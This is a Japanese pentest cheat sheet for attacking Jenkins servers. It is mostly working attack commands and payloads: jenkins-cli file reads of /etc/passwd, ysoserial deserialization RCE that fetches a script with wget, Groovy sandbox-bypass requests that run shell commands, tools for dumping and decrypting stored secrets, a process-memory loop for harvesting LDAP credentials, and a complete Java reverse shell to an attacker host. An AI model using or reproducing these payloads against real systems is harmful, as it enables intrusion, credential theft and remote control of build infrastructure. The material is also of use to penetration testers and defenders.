
Jenkinsサーバーへの攻撃に関するメモ
認証済みの場合、ファイル全体を取得できます:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
未認証の場合、または Global/Read 権限がない場合は、3 行のみ読み取れます: 1 行目を読み取る:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
2 行目を読み取る:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
3 行目を読み取る:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
ysoserial を使用してペイロードを生成します。次に、このスクリプト を使用して RCE を実行します:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
詳細はこちら。
Jenkins が認証を要求するにもかかわらず、以下のリクエストで有効なデータを返す場合、脆弱です:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
元の RCE 脆弱性はこちら、完全なエクスプロイトはこちら。
Overall/Read および Job/Configure 権限を使用した代替 RCE はこちら。
いくつかの Groovy コードを使用して、Jenkins インスタンスが脆弱かどうかを確認します (Overall/Read 権限が必要):
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
注: 欠落している crumb (Jenkins の CSRF 保護) に関する 403 エラーが発生した場合は、https://example.com/crumbIssuer/api/json への GET リクエストで crumb 値を取得できる可能性があります。その後、crumb 値を POST リクエストの Jenkins-Crumb ヘッダーに追加する必要があります。
任意の bash コマンドを実行:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
すぐにリバースシェルを取得できない場合は、例外をスローしてデバッグできます:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
これは、セキュリティマトリックスでユーザーが 'Jobs/Configure' 権限を持っている場合にのみ機能するため、非常に限定的です。
これは、専用の かつ最新ではない Update Center を使用している場合にのみ悪用可能であることに注意してください。したがって、ほとんどのサーバーは脆弱ではありません。
ビルドのコンソール出力とビルド環境変数をダンプして、平文のシークレットを見つけるには、このスクリプト を使用します。
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
この Python スクリプト またはこの PowerShell スクリプト を使用します。
これらのファイルは、Jenkins のシークレットを復号化するために必要です:
このようなシークレットは通常、次の場所にあります:
それらを見つけるための正規表現は次のとおりです:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Jenkins がユーザー資格情報を LDAP にリレーして検証するように構成されている場合(これは愚かですが、企業ではよくある脆弱性です)、Java プロセスのメモリをダンプすることで、これらの平文のユーザー資格情報を復元できる可能性があります。 Jenkins サーバーの PID が 7 であると仮定すると、次のループは 30 秒ごとにスタックのメモリダンプを実行します:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
ガベージコレクタが定期的に資格情報構造を解放するため、少し遅延させることが重要です。
以前にダンプされたシークレットを復号化するには、このスクリプト を使用します。
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
パイプ、リダイレクトなどを含めることができる複数行のシェルコマンド:
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
このスクリプト を使用して自動化します。
デフォルトでは、実行はマスターノードで行われます。特定のスレーブで実行するには、このスクリプトを使用します:
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
完全に機能する PTY を回復するためのこのリバースシェルのヒントを、必要とする人のためにここに残しておきます:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy